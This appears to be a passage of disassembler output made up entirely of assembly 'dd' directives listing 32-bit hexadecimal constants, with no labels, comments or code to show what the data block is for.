		dd 77D94245h, 0C846EFB5h, 0FBC0AE78h, 209511FEh, 0D04A650Bh
		dd 6CAEE4A0h, 3D37CE9Ah, 1BF01777h, 0B93A8489h,	0F807E3A6h
		dd 99BFDC5Eh, 7E9BA9B7h, 0C2EB3DEFh, 3DFE9E75h,	688FE760h
		dd 1B667764h, 15163977h, 1F82288Ah, 9075721Eh, 0F67E4501h
		dd 660E2DB6h, 0EE96DDB0h, 0F86429A4h, 0A4BD1700h, 48853BDFh
		dd 3AB8E014h, 0A3193661h, 0F65EC883h, 37187E88h, 264037A0h
		dd 0EC733C22h, 3D611FA9h, 6B177FC0h, 4F0E74BAh,	0CC2C9A0Fh
		dd 0B79231A4h, 6D819E54h, 294CB0F7h, 9AFEEC0h, 920CE9DAh
		dd 612E4685h, 81EB0Ch, 0E5BD9B16h, 0BC3D2D43h, 0AEF7691Bh
		dd 44873A1Bh, 65F05361h, 0EBD12Dh, 0C6CC5176h, 0EE607ACBh
		dd 24CB1CDCh, 14072EC9h, 0EDD57DB0h, 0FBD2275Bh, 8FA67638h
		dd 1132DE83h, 37DB5DEAh, 0C2FE0105h, 0EA577AC0h, 2C0446E0h
		dd 0A18F8871h, 0D3A51561h, 0DEC5549Dh, 67FBAD15h, 3037FEB7h
		dd 81F758F5h, 0EC9F7C33h, 4BC8937Ch, 0A4EBA4CBh, 43C4A16Fh
		dd 0DFC51037h, 1DB6FB74h, 0B29F1AB3h, 32D90F4Fh, 666E5134h
		dd 71ED719Eh, 25F086FAh, 4865FAF9h, 71530572h, 7D4F6BD1h
		dd 5141A536h, 9AF0FB33h, 3F6AADFDh, 5D552035h, 0DF11EF5Eh
		dd 32110585h, 0D8DF423Bh, 6A73F0F3h, 1EC01B04h,	677C5AE1h
		dd 8A7FF7E8h, 0CA67F27Ch, 0FE5DF6BAh, 0CCBEF95Ch, 248A0BE4h
		dd 33CD9C2Ch, 0AEBFF687h, 2DC35D9Ch, 0D3677469h, 4FAC4558h
		dd 40A9A5BCh, 9E03A2AFh, 6A4C5AFCh, 0E7E38982h,	62EC047h
		dd 56DC52D5h, 575DACF2h, 0B3DFDA31h, 21B10732h,	0BB71290Dh
		dd 56749FAAh, 6309A5F8h, 62697EE4h, 9EE2A204h, 373B6954h
		dd 0CE16B570h, 0E144CDCEh, 6CED3Dh, 0A8E87F05h,	0B19FEFCFh
		dd 0CFFF905Ah, 0E3AF8B7Ah, 0A760B89Ch, 0B8E138C9h, 0E74553A5h
		dd 17F85DA5h, 9291C460h, 0B766B670h, 0B047D7F5h, 21D8F0BBh
		dd 7C9A7919h, 856110F4h, 0D8C72E1Dh, 11494756h,	13E40D73h
		dd 42F7DC2Eh, 91B8FE27h, 0AA82268Dh, 0E31173DEh, 2C660BE7h
		dd 424E32CBh, 9DAEF073h, 4D300D36h, 8C852692h, 4E9E9185h
		dd 3118692Dh, 381E99B0h, 9F4973BBh, 0F34EED8Eh,	0DE0FDCE6h
		dd 3C7827E9h, 82657068h, 1FC2C2B4h, 27E8BF80h, 0F3421F8Ch
		dd 4AB1A201h, 0B698D32h, 229BD4FFh, 0FCD9879Eh,	0CA04C949h
		dd 5A919058h, 7D89932Dh, 5F0DC1B2h, 0E1B733C7h,	9E6FB4DAh
		dd 0AE37F0FEh, 8CD8E57Fh, 2B38A1A0h, 20AFE152h,	1E0ECD62h
		dd 0DECF20ABh, 0F70D9CDEh, 50177F33h, 4E37FB8h,	4EDEDF70h
		dd 0F9871809h, 0E6B5D07Fh, 29339333h, 9523849Ah, 84A7F90Fh
		dd 77A7E8F2h, 0B172B1DAh, 80EA63DFh, 1B577708h,	535E3142h
		dd 6D5027DEh, 1A324F08h, 9BC0279Bh, 0CF7831E8h,	0FA1B341Fh
		dd 53750A19h, 0EFB015A2h, 0F36FF229h, 0A17CCE48h, 9AE39DEFh
		dd 0BCAAC7EDh, 9EE8ED29h, 398796BBh, 0DD0CF1D8h, 878FEF86h
		dd 16D32341h, 1FC38EDh,	808F8453h, 2015AB00h, 1790CD9h
		dd 776FB53Fh, 0A58DCA78h, 0B2A0154Eh, 15BA3F6Ah, 0EA6D133h
		dd 4DEE83C1h, 2CFFD768h, 0D20413C8h, 242B8D4Ah,	29160932h
		dd 764CED10h, 874E74F8h, 576821C7h, 0CFD27119h,	787FA984h
		dd 0A82FDD52h, 0BDEBBCDh, 0A18C0BE5h, 0A925085Bh, 10D4EFA2h
		dd 1DDE07A3h, 78235BD1h, 0C66C469Dh, 2C52E1E1h,	8C9B6338h
		dd 2371018Fh, 0A7024582h, 9CC15B3Fh, 0B6B1EF67h, 0DEFA351h
		dd 4DD58C57h, 2EFF033Fh, 0B1E77F94h, 0C8607AB3h, 47DC2FBFh
		dd 0A2715183h, 484A5BD1h, 0EAC0C405h, 0A9BBE6E7h, 0E886532h
		dd 97AAE9CEh, 4C29C24Dh, 4D50A666h, 0B4F7A93Ah,	0D238AC8Bh
		dd 48C06AC3h, 59A1C608h, 93EE583Eh, 5A3CFBF0h, 0F3169726h
		dd 65F4E5AAh, 7C5B284Dh, 0E5133CC4h, 1D155BCCh,	17B63C3h
		dd 2DA396F6h, 0D7DA1710h, 60BE15AEh, 2016DD3Bh,	293D8D8Eh
		dd 62BA9E39h, 0AC481BACh, 0E85469C0h, 0B67B4A14h, 0ECCFBBE7h
		dd 3C1A820Bh, 0FEA8CC61h, 0A6B086C0h, 13C02A65h, 78FF78E9h
		dd 0EACAFEAAh, 39298146h, 630B32E9h, 6D4C3C46h,	0D69617C1h
		dd 2072ED45h, 0B12AF70h, 1566CEFBh, 0E1026906h,	24E11CFAh
		dd 6D8ED364h, 0EC9643A2h, 63BE4528h, 52EA118Ch,	3BDA4722h
		dd 0F6D93178h, 51A83208h, 6601841Bh, 7AB00167h,	38114BF3h
		dd 1F73AC0h, 0A73C87Ch,	0DE8DFA57h, 0A68388CCh,	3C1D62CFh
		dd 9377953Ch, 28A86B2h,	48346A38h, 530175C0h, 2916E8C8h
		dd 6601B90Dh, 8AD81772h, 9F835B76h, 4101096Fh, 24126C4Eh
		dd 80699F9Dh, 0C7EAE512h, 2D365006h, 0A520F5EAh, 392B3C3Fh
		dd 30F5F90h, 4694CB59h,	28732041h, 9001708Bh, 0B6C96302h
		dd 0FDBFDCCAh, 55BD8E64h, 2F064581h, 0F81A86E5h, 0F059AB23h
		dd 0A02BA65Fh, 0E5755B8Dh, 98376733h, 6B002A01h, 0D1213D64h
		dd 462A06Ah, 9A33E1EFh,	772E77DBh, 67BC811Ah, 85155878h
		dd 44950FD3h, 5796899Fh, 0D709EC53h, 0FB44A07Eh, 24A9B015h
		dd 0D64351C6h, 0CCC90B5h, 2F3A8B41h, 1EDA6934h,	0B105BE5Bh
		dd 5EBA2896h, 92BBAF67h, 60530EE8h, 0F6B77565h,	0C5BEF16Eh
		dd 0F1570BCh, 0AFC64796h, 447603BAh, 88FA1419h,	758F6C72h
		dd 0B020BE5h, 0C90A9AE1h, 58F3EFFh, 10ACA239h, 43DC2338h
		dd 565D0CE2h, 0D238D81Ah, 8E03E5F8h, 0A5CCAE57h, 54F72220h
		dd 39127078h, 0DC46311h
		dd 1BD80F3Bh, 429FD80Dh, 5D363ABCh, 5D1972F9h, 0A1926351h
		dd 1C260A99h, 966D6A1Fh, 979CC207h, 0C2A666FCh,	96D7A0D6h
		dd 6B94C955h, 925AF492h, 0E60FFCDAh, 958FEE7Ch,	0E2EAC5DCh
		dd 0D924D4E7h, 0CF043B9h, 5834161h, 96E2B246h, 1B4DED95h
		dd 0F94AB1Ch, 5DCFC62Dh, 0CCC830Fh, 68B3047Fh, 0A771D166h
		dd 41C4038Ah, 5765664Ch, 0CB5628Ah, 1E493649h, 0C663244Ch
		dd 412B369Fh, 7F20AC77h, 8706A724h, 362F89A5h, 48EDA3AFh
		dd 636F10AEh, 0D9F97ACAh, 19CE4547h, 0A8AD930Fh, 5FD8F9ADh
		dd 22521B3Eh, 0C2D3091Dh, 0DBA6891Eh, 7A4960F1h, 6803CECDh
		dd 340B0DD4h, 0E16CC479h, 0C2CF0168h, 0CC7C4348h, 3F7EADFCh
		dd 47FE78ADh, 8E992A71h, 21CA2266h, 4738C1E2h, 0D56828E2h
		dd 10D1FAA9h, 0CC4BC1E7h, 1D7E337Fh, 0BEE40BF7h, 8909A669h
		dd 0DE622933h, 9F9302B6h, 0B56FD5Ah, 7C0CD00Eh,	0E009F369h
		dd 8CDB2CB2h, 0E73AB8Fh, 6E42A18Ch, 0E8A0CAE6h,	0CC9F979Ch
		dd 2BDB2F85h, 8AF81F14h, 1C3DE0DCh, 4C9E0500h, 0FA9DFE41h
		dd 98E7D1D3h, 495FEA9Ah, 9E2941A9h, 0CDC542Eh, 0D1468E9Bh
		dd 4BB12E6Bh, 121E3Eh, 0B7457D98h, 3A800B2Fh, 0D3DC5F47h
		dd 8B82C8D9h, 0FDEA60B9h, 1AFD7FE8h, 0CCD08DE0h, 82AA9F70h
		dd 0B2D5F2F7h, 60608E7Fh, 0F0802FC3h, 24BE9B8Dh, 0BB0A1B3Eh
		dd 0DE816C29h, 0F093744Eh, 20B073BBh, 8A3BA61h,	557CC333h
		dd 0E64BBA77h, 0C320B1BCh, 2CA61BFDh, 4CB2FD1Ah, 4EDFDC01h
		dd 57107462h, 0BD2B02A6h, 0F0364ED9h, 29B4138Bh, 2C8871DDh
		dd 0BB424B0Ch, 2A3CB445h, 478C64D2h, 124812B3h,	9C181A9Fh
		dd 0A0FE5D91h, 0AD6F0427h, 0FEB316C8h, 558EB572h, 0C62C9072h
		dd 0AB80A050h, 5FA460D8h, 0FC75C378h, 790B0B58h, 84769D39h
		dd 5362B13Ah, 48E85389h, 0EF15959Bh, 0FD242F19h, 517A9816h
		dd 25DDCE02h, 0F3A8FF7h, 0FB5C4A53h, 72114800h,	58A153DCh
		dd 70D1390Eh, 0C3E7CE29h, 79F92D98h, 0DF335E51h, 54CBF33Bh
		dd 0E5200AA4h, 0D417A8CEh, 0A8996C79h, 0C8E4CD24h, 24E33FDFh
		dd 72C7FB59h, 9F551544h, 6839D983h, 8A1F00C9h, 134AA5D5h
		dd 1D2BD4DCh, 0B344392Fh, 7D2D3DE3h, 0ECC141C8h, 0CD4BB08Ch
		dd 401FA220h, 0A753DDE8h, 0C1A1EA04h, 0D64E7861h, 0FA72D193h
		dd 89AA8A1Bh, 0DCE5B1F2h, 0E8380566h, 0F6803FE7h, 2DEF76EBh
		dd 539E4E4Ch, 0A99E3025h, 700EAA30h, 0CAE1D238h, 0CB11ED88h
		dd 0B2068D66h, 3A96604h, 0E543B234h, 0A0372C17h, 0E07A868Ch
		dd 0D041EA5Dh, 71BC8827h, 0FE4CEF81h, 184C6257h, 1D85EA63h
		dd 0D6C1841Dh, 0F65B8EE9h, 709826FCh, 7D8BD146h, 77D4383h
		dd 9A86A078h, 84F55970h, 4682CAF9h, 0E8EE3B92h,	0EB9302A9h
		dd 763E3AFh, 0DE2CFDDEh, 0BE01BB33h, 55C23FE4h,	0AF028F97h
		dd 4C36F6h, 4EEC0E99h, 0E74FA99Ah, 11974EB1h, 3DDC8F76h
		dd 6D047D99h, 6B17A0ABh, 5C4255Bh, 607C32E6h, 0C8B66C1Dh
		dd 6B4D0FF9h, 0DC0A7AB0h, 71B3651Bh, 0E24074C2h, 13CB1B4Eh
		dd 6C224E72h, 3447EE92h, 0A5A7FE28h, 2290E6EFh,	0C01A85A3h
		dd 9CF7D54Eh, 0A951D985h, 0A36175BDh, 0B4E15B1Fh, 9779431Ah
		dd 0F997CB49h, 9F4D6E65h, 30096B59h, 0C0D74B5Eh, 0BC09C5CFh
		dd 0AFDD9EE6h, 0AFC24B0Ah, 0CDFDB1C7h, 660622CBh, 0CCCEEF52h
		dd 1D77F0BEh, 8CCA7703h, 49A94C06h, 7E1BD092h, 0A9302393h
		dd 0B348C46Dh, 0BAB21502h, 6CC7C41Ah, 0A25A1EA5h, 0C05F027Eh
		dd 542491BBh, 0F8D4D256h, 0D1B5183Ch, 7D9B1AD0h, 16A129A7h
		dd 281D3D93h, 55A50361h, 29FD2180h, 163A9379h, 0E5D895C3h
		dd 0DF34F427h, 0F5650BFBh, 62BE3B3Bh, 6256324Eh, 83354C7Ch
		dd 54E8188Eh, 0BC003BEAh, 0D2190823h, 5BEE866Fh, 863E0EC1h
		dd 0E97A6D4Ah, 81074A77h, 0D1BD2977h, 34A4371Fh, 0B9A25452h
		dd 149FA003h, 7B74DD09h, 5ED8FBCAh, 5FBC1D99h, 0FD4363D7h
		dd 40BA5F4Ch, 9CE5631Fh, 0D98D02D5h, 26E7EA32h,	0E0F48F75h
		dd 0B1E06F56h, 65E972E0h, 0DFE36276h, 9AF053A3h, 41446911h
		dd 1B28548Bh, 5CBDB775h, 7FCC9162h, 0C26564DFh,	879CC197h
		dd 47C175D2h, 0ED4FA9F9h, 22B3FB8Fh, 3614A77Fh,	1E1A4997h
		dd 3789FB47h, 0FDDBEA33h, 0D54E552Ah, 1FAA8F4Ah, 12C60C05h
		dd 806672C8h, 1EB7799Eh, 2A5047B1h, 3AB4A286h, 0F3A81DCEh
		dd 32F2D120h, 4BAFC79Ch, 6C378F76h, 0AFD0AF53h,	6A2C81F6h
		dd 725EFA3Eh, 0D342B65Fh, 4E911B02h, 0DB89C9B3h, 0FECABD58h
		dd 0F6528DB0h, 0A6EA3D56h, 0FF380182h, 62A251C2h, 78F7CA21h
		dd 2A9EB786h, 2822AE20h, 8CE8FC23h, 471CEB4Ch, 4CACA850h
		dd 0B851E270h, 8D0AD76Dh, 0C1968281h, 13C9EF0h,	87136C12h
		dd 0E446C0B0h, 0F709D467h, 1A3FCA3Fh, 16FF7759h, 8F00FA76h
		dd 0D96ECAD7h, 0A19B65CBh, 7B8FD3Ah, 0DF5080BBh, 3C71AB3Dh
		dd 0A135038Fh, 0CB8A81B4h, 0F2253F1Dh, 6450DBAEh, 9C787E5Bh
		dd 0F970DCE7h, 2FA7085Eh, 37AA1976h, 6956454h, 0CDBA3755h
		dd 5B2F9EF8h, 85E5DF8Ch, 7819BDEDh, 0CD7ABA0Dh,	32CEFE2Ch
		dd 0A4ABE842h, 0E3632FD5h, 5CEC9735h, 0F1468F82h, 3954A668h
		dd 79630B8Eh, 7D9921EEh, 380D9B3Eh, 54D2990Dh, 93D6A357h
		dd 502F0A47h, 2641E321h, 6BA4B196h, 920CA4C4h, 7609237Dh
		dd 0AB2B3561h, 7FFE07E9h, 0FE6D8143h, 989345ADh, 1EC148D2h
		dd 7B191FDFh, 485048A5h, 0E7A364ADh, 95D174D8h,	8E517C37h
		dd 2F476F43h, 0A0FC0EE1h, 4F6CD96Ah, 0C381E53h,	76302B28h
		dd 6E5AE370h, 32A7E20Eh, 19F52063h, 931382EEh, 0C91AA753h
		dd 49AD08FEh, 9CC8E3A8h, 6F2922A8h, 0EAD8512h, 69965457h
		dd 0D69FF29Bh, 0DD1D22EAh, 332467DFh, 6FB1C529h, 841FA97Bh
		dd 59DA9F45h, 46E2FB39h, 0CD32A93Eh, 39C86505h,	862C13A5h
		dd 0BC11F17Bh, 0DBEA2D4Ch, 63BDAD8Ah, 17F604EDh, 20225221h
		dd 3A2D97E5h, 8F8030CDh, 0EB3730EEh, 582BB902h,	7D7AD0B6h
		dd 0AE4E6C20h, 53525AB0h, 209D5B22h, 0D607CD3Dh, 0FFB75A44h
		dd 0A6C932F4h, 9996E243h, 9D7E4714h, 8210ECE2h,	0ACA9E85h
		dd 72677053h, 43D988FCh, 5270C1CFh, 983A7EB8h, 0FFE60077h
		dd 84CB8C53h, 2FC46A54h, 0C337A80h, 6186377Bh, 896DBE59h
		dd 8F75DB0Fh, 0A315776Bh, 7F450AFh, 0AD893714h,	0A70B8EE0h
		dd 0D694B2A5h, 5B13BB77h, 9F04CF8Ch, 4A388513h,	0A62AD0EFh
		dd 0BBD620AEh, 52032391h, 0C14ABA6Eh, 99C65520h, 4D892EFh
		dd 0F8613AA7h, 0F7F800E9h, 4B034C6Ah, 0D4D28CF2h, 475FF0BCh
		dd 555A40F6h, 95E8A7E6h, 6A0A7299h, 0C54D4C3Bh,	0FEFBF80Fh
		dd 0E1849DA1h, 0E0F5DF05h, 5D7CE13Ch, 198CA160h, 17EF6283h
		dd 6BCC2ABAh, 0CE707C38h, 0EC51D657h, 512EC94Ch, 6457B120h
		dd 0A9ADEB2Eh, 0A0033339h, 9141F131h, 6C459BAEh, 51E9C789h
		dd 89B34897h, 0C8C41F77h, 208B97ABh, 189A11D5h,	0A8F8B1CEh
		dd 0F66B2AE4h, 58EDD06h, 697D502Eh, 5A22E2BEh, 931E99CCh
		dd 45F069B3h, 34ED5108h, 7601118Ah, 0ADCCC430h,	0D01A4C72h
		dd 85653C2h, 1C63E49Ah,	4A2A9DFAh, 0F1D6234Fh, 0D1CC97FEh
		dd 4855E020h, 361E9024h, 90191CECh, 47FB6B87h, 17100173h
		dd 0BA43C809h, 2046298Eh, 0A930B2CBh, 8E586B7Dh, 26C4A5D1h
		dd 0EE0CCCEFh, 5F0C5083h, 0FB32C2Eh, 47DD2601h,	9BED050Eh
		dd 0F41F4FD2h, 42CBEFAh, 33F2F863h, 3643B8B0h, 75D4E0D5h
		dd 138796F3h, 375995EBh
		dd 0DBE5275h, 3C7B6772h, 0E64BC075h, 40D3CE7Ah,	0BDA29EA7h
		dd 0C322F54Ah, 7F87F631h, 2E82D198h, 4963F921h,	0FD838831h
		dd 0AC58AD1Eh, 0E93E2BEDh, 728877BFh, 7F4A1F96h, 4000C55Ah
		dd 6647E1B2h, 65B01F54h, 0B840A249h, 0E8D66EBAh, 264D689Bh
		dd 9287012Ch, 0B9CAE27Ah, 4AABBE4h, 4400F5FFh, 1D6C3802h
		dd 65B7127Ch, 8A51278Ah, 0D5D8FC0Ch, 6BC1B752h,	0E0F81A89h
		dd 59CBC8EDh, 0D6E2A182h, 5ABFC55Bh, 201CBDFFh,	81D8D7D8h
		dd 9BD3843Ch, 1E9FC13Eh, 0FC52CE8Fh, 5C4E36A1h,	5314320Bh
		dd 0DBED8413h, 0F837A1DCh, 0EB056487h, 0F096E2F3h, 0CD842D87h
		dd 3E44BA01h, 37B0A99Bh, 74663678h, 99930010h, 0CC3807C5h
		dd 0F7A42CFDh, 0D2D87450h, 6DC6EBAEh, 9BF0E58Eh, 288DED10h
		dd 0F0F03DA1h, 98A413A1h, 23EE0326h, 0C20A6A5Fh, 75496F0Ch
		dd 0C5377F4Dh, 0E5FAC140h, 0E40DFFBCh, 35F97D95h, 28E05C2Bh
		dd 53CE6AF5h, 10019E54h, 2D848EE7h, 0DBF759F8h,	0AC70B70Fh
		dd 0E41A2BA5h, 765634E2h, 441D1295h, 0F110ECA3h, 9E292C74h
		dd 0EB9FDD21h, 75A98399h, 27A11631h, 7750AE5h, 0E0FCCD25h
		dd 9FEAD137h, 0E6B64C4Eh, 60A41931h, 0A845435Bh, 0DCEAACC0h
		dd 0DC3E9343h, 388D8F78h, 3D972434h, 1BFE2D54h,	0EEBB076Eh
		dd 0B4C0A034h, 0F8A5B9CAh, 4EAB3AF3h, 22FDD18Bh, 0A3CC0B3h
		dd 8AFDF967h, 0E9E5BD15h, 0F96B5809h, 8D09F40Ah, 3BF60A64h
		dd 2FBBF178h, 0BB17E56Eh, 0F561B15Eh, 0F391A01Ah, 0CB0E336Bh
		dd 0AD6B4FC6h, 0A95F5D07h, 60759575h, 0E6AB2698h, 551FBA03h
		dd 3E8EB6Bh, 0E2C15BABh, 6362C27Eh, 767EC202h, 5B1B8DE6h
		dd 0D46FD083h, 0CD683640h, 0E55A2B53h, 60542FD4h, 3E7F761h
		dd 9AC26256h, 0A8FE1845h, 0CA096AEDh, 0C6ED509Ch, 7B65C92Eh
		dd 0E700EB4h, 78207F72h, 0E7E07BC8h, 9C22F4C4h,	0FD9F2BFDh
		dd 0C5B2D7h, 68D0865Eh,	54AEA79Bh, 1E14E745h, 2FC239AEh
		dd 839F0190h, 98EF041Dh, 61CEE35h, 0BB3666DEh, 89751E5Eh
		dd 0FB983258h, 0A3032201h, 0BE872D87h, 2F913172h, 0BBB21545h
		dd 0E7A39BE0h, 0E778FEE6h, 1DFE560Eh, 277EB0E3h, 0AEB7FE1Ch
		dd 909CAE4h, 0F8C62CC3h, 0E52EE293h, 0ED03D7A8h, 95B1DB08h
		dd 55E5D365h, 7EB27FB8h, 3C880B08h, 0C21F389Eh,	0CFE8557h
		dd 0BEE521FCh, 0EE0A71C1h, 829403C8h, 9F706A2Fh, 166B63E0h
		dd 7F2C0768h, 0A22FE401h, 0BC66FE4Fh, 20E432E0h, 6DCC4E80h
		dd 7D58613Ah, 858D1FB6h, 7D2D20h, 2CFECAE2h, 32191F89h
		dd 461FCB4h, 87A46316h,	8F413BE7h, 0ABDCB606h, 90299AACh
		dd 9D8A8C70h, 0BF3928E3h, 9927C42Bh, 2A4CA855h,	0CDAC7529h
		dd 0D6EB37E5h, 190CA94Ah, 0B2BC633Eh, 759A8C1Eh, 0D5AE075Eh
		dd 0E5F2FAAEh, 0F0D5F880h, 0DC22F146h, 0C8F7FF42h, 0F3529397h
		dd 4099BB7h, 0AD187804h, 0C0D9376Dh, 0A590F981h, 0B0AF09EAh
		dd 0EED50802h, 91CCA1F2h, 0FFE7CF44h, 0B15E22ADh, 1BD0F2F1h
		dd 7635FD55h, 45DC8ACFh, 6E58BD8Dh, 8CBDE1B1h, 2D11CE92h
		dd 9C0EB721h, 0DBDD07C9h, 3564DB8h, 0C0D41A09h,	98F5E027h
		dd 0FD80B528h, 0F35CF819h, 991C9BF3h, 0E41ADD9Fh, 0E0E77905h
		dd 44F86D2Eh, 43A1F38Ch, 0E26D895Ah, 0DCAEC4F0h, 28B084ADh
		dd 1638BFE8h, 93F626F8h, 82580B9h, 2ED0A5F5h, 5C27F9CFh
		dd 0FC8D8D75h, 28AFF80Bh, 27713D33h, 1455C871h,	36D5E6D6h
		dd 0C799BC9h, 0FF28749Dh, 63D7E09Eh, 0BFBE0258h, 0E635C2EBh
		dd 0C79DB26h, 0FD771225h, 0D5D79783h, 0F2B402ECh, 45EA14AFh
		dd 3AED14E8h, 377EAD31h, 42F6A71h, 0F49B4BE6h, 0BA87A658h
		dd 575C7B4Eh, 0D1798A5Bh, 0B5025979h, 59F4D3E6h, 7F9A431Fh
		dd 6867B7E3h, 8AA17F12h, 0DD68F856h, 4879EC34h,	14B6BA1Fh
		dd 0B8100132h, 0AC01D75h, 6907281Ah, 0BC4A7A1Fh, 0E15CD1B8h
		dd 499A6033h, 8D77FF2Dh, 8076C240h, 18F649DAh, 5C01042Ah
		dd 4A4A8D31h, 0DB108625h, 576BE73Ah, 5B3CBC9Dh,	187DD853h
		dd 39EA1A4Ah, 0B078D330h, 0D34C0DD4h, 0E5C67DF3h, 0D125A190h
		dd 0DED85977h, 0F9788DCDh, 84B96812h, 29DC5EA6h, 31FDCDC3h
		dd 577D8189h, 444E3805h, 9B21B135h, 0E0E481F1h,	0DAB9EB7Fh
		dd 0B3207FEh, 0F3C72E24h, 0FA8A5D16h, 2E044AFh,	61684B08h
		dd 939BDDD1h, 2465EF41h, 5C95CABFh, 814656B0h, 6BC970B1h
		dd 0FE36E0D8h, 0ACEE9D11h, 0BA5A2D96h, 420111Ch, 0AE0F1DAAh
		dd 3F17ED7Eh, 0A3614EC7h, 32B19ACAh, 321DC7FBh,	39262D35h
		dd 0FDDD8200h, 61C6F91Eh, 7F9DEC38h, 8C814BA7h,	0F12F2924h
		dd 0A7380F3Fh, 60FDDA1Ah, 1200915Dh, 4F7F0BCh, 0C36E5296h
		dd 0D6CE4080h, 4AAA99A6h, 0CFAA0283h, 0CE5698C0h, 0E58CC083h
		dd 2943F225h, 9207E929h, 1467E592h, 0AA0065BAh,	1BE8BB78h
		dd 32B5BFE3h, 0EB32AE17h, 4DAFD1BBh, 22400907h,	3C6EE48Dh
		dd 0C07FDB19h, 2B0C0189h, 5E690074h, 30C87B51h,	0D8C464C3h
		dd 132C07CDh, 84218D12h, 9DCFD058h, 9D736352h, 495EBC3Ch
		dd 2C4B7FCh, 0EFF53EFAh, 0A93CF13Ch, 5E51F7AAh,	0B73E25F9h
		dd 561A62AAh, 801C41A4h, 858D1A7Bh, 0D0F04A6Eh,	8F715F1Dh
		dd 126182DFh, 4C2C4E8Dh, 0C99B4A17h, 4D771934h,	98EF10D7h
		dd 0E1C660D5h, 7CEACDDFh, 7123D2B9h, 0AEB5FD1Fh, 0C5770ED7h
		dd 0E64BF278h, 3BF3D900h, 0B33FA97Fh, 0F3558FCEh, 994BEAD4h
		dd 0DE448B77h, 0CD73EEEEh, 728C0119h, 1A228B5Eh, 33DBAF49h
		dd 8D676A13h, 6E84CFFh,	0FC4C4EC0h, 533ECFD4h, 2881E1EBh
		dd 9CC6AEE3h, 49986DF1h, 0B8608F67h, 0A795EE65h, 3A8DA9CDh
		dd 2957051Bh, 0A4ADEB45h, 4703CA6h, 9D867F8h, 0CFF9BA4Ah
		dd 0B69F6D01h, 4CC37EEFh, 4DFDB63Eh, 0CFC36706h, 0CAFF47E4h
		dd 0D494C28Ch, 440F7BDCh, 5C6F78CFh, 0A6A8EBBBh, 85300CF3h
		dd 0BFDE350Eh, 0DF0AB2B4h, 0FD4BD8B4h, 3E284E58h, 0E31E38E4h
		dd 0B4A6354Ah, 8221560Ch, 656219C8h, 0B6055A3Eh, 0D70B081Eh
		dd 4E3A224Ah, 66E7E44Bh, 1BCB2645h, 8B914290h, 0FB5624ABh
		dd 688EAB74h, 40AC7DE9h, 0CC30BF8Dh, 225AFB53h,	4DEE5F29h
		dd 488AEEEDh, 0B20DD495h, 0EE583001h, 0ED73CD4h, 97EDDD3Eh
		dd 0BE2E51DBh, 0F043C816h, 609CA547h, 0CE1D152Ah, 9918BCB6h
		dd 69AD0F76h, 0A3DDAA51h, 0FC3A59DEh, 52FEDD9Fh, 92481F38h
		dd 851C463Ah, 0D188ACC5h, 8F7E1CA1h, 0CD9DD327h, 0E1099EDAh
		dd 214AC56Ch, 4E273B86h, 3F52CC35h, 5EDE98ECh, 0CF923842h
		dd 6E29BA83h, 9599FB82h, 0BD524DC9h, 0FB83E140h, 9D983454h
		dd 7A11DEE5h, 0FF4CF2BAh, 55348FBCh, 5C644160h,	7A9C8146h
		dd 2FFF67Eh, 16F69F5Dh,	80364719h, 8FEC9F57h, 0A2A83B19h
		dd 63AE9DF0h, 0AECA9DEEh, 597B7973h, 75D1DF7Bh,	41B1B9B8h
		dd 0B692ECBh, 1DC62A97h, 0D459DC42h, 33860B8Eh,	0E375EE36h
		dd 4FEB1495h, 0CC83EE01h, 93C1D895h, 5FADF76Bh,	0B41804C9h
		dd 0FD32B42Fh, 7691B070h, 0ADC646EEh, 80B15956h, 0C355468Dh
		dd 329B0F1Dh, 6D550C56h, 7741DFF8h, 0D4C390Eh, 71E23287h
		dd 0F95F23BCh, 0B535377h, 10524807h, 2BE620FCh,	2D5367D6h
		dd 5E7699Fh, 95807504h,	273F9F38h, 0FB2D4184h, 0FF646EE4h
		dd 36EEEDB2h, 0C53277A0h, 0DF8CA6BBh, 0B600A8C1h, 0DB320935h
		dd 0E17B0901h, 0B1E1A28Ah, 8A379135h, 5B3442A4h, 0C7529546h
		dd 0AAE4C40Dh, 0FE709DAh, 1133F6ABh, 64B283Ah, 6D6366BAh
		dd 0A97672DBh, 561AB912h
		dd 8CD73E57h, 3E517F5Fh, 0F1A55A73h, 0F9DEB13Ah, 69A485AFh
		dd 947CFB76h, 139F0791h, 0BC336144h, 633A4F79h,	86C47F51h
		dd 32098955h, 64D8EB82h, 9F4FB053h, 9A61AE44h, 7DC7D325h
		dd 0C6AB35C6h, 0C2FD3CF1h, 0E6F6762Dh, 0D7EF4BA8h, 0F721FA7Ah
		dd 0A3915064h, 9B0343Dh, 2AB90BACh, 3C7340BCh, 0B14E0293h
		dd 0ECE1F7A0h, 0A7C2CD23h, 111F6D94h, 715B6188h, 0E24E3EF9h
		dd 5912906Bh, 646EDCF1h, 558A518Dh, 516A711Dh, 63BFA43Eh
		dd 798950AFh, 0CC1DBD00h, 0A647089h, 5AB77B08h,	39DED5A8h
		dd 0C4A35192h, 0AB677CF3h, 0C2D960FCh, 6D05844Bh, 0BA203B73h
		dd 0A4C103E0h, 0E5DACF52h, 8E77B8C8h, 0D3160D0h, 0C0B1E451h
		dd 0F8A2C51Fh, 0E2CBE106h, 14CF1828h, 0AA135865h, 7B817B3Bh
		dd 6FB6FE2Ah, 0A5E66D66h, 0DAFFE13Ah, 0C79E3F5Ah, 0A23E022Dh
		dd 2EFF299h, 56EC35B8h,	0FBD5825Ch, 5FE115B1h, 0A958442Eh
		dd 683716h, 14715D5Dh, 4D837ABAh, 0EAC04568h, 0DBF7B91Dh
		dd 927E44A0h, 37F407F9h, 98038890h, 4CC94EA1h, 0D0CD199Ch
		dd 9C2BD825h, 37D677FAh, 269BDAA8h, 87F3DA03h, 841020A9h
		dd 3778BE63h, 6CD37D31h, 3527720Ah, 8C04E4D3h, 0F6BCCF37h
		dd 16E3A8B1h, 20309F3Dh, 0F6CC59A4h, 8A3B8F64h,	0DFA4D21Bh
		dd 7571ABA6h, 67CF6DDDh, 206F5F5Ah, 0A248C085h,	94C4B71h
		dd 6C47F2B7h, 0B902FA6Ch, 37574DF6h, 0D9D8F587h, 348BFDBBh
		dd 91FB4970h, 0AD3475Dh, 9BE844C6h, 0CA0B6159h,	0C7DDDFABh
		dd 7F05FC26h, 0A87ECD29h, 68E1F48Eh, 0E66F41Dh,	5E533DFFh
		dd 773FC02Fh, 0A9638965h, 1D0798B2h, 83C1D4EDh,	0AB5C4335h
		dd 65438h, 0C74AB29Fh, 8132FB3Ch, 62AAC86Ah, 2014598Dh
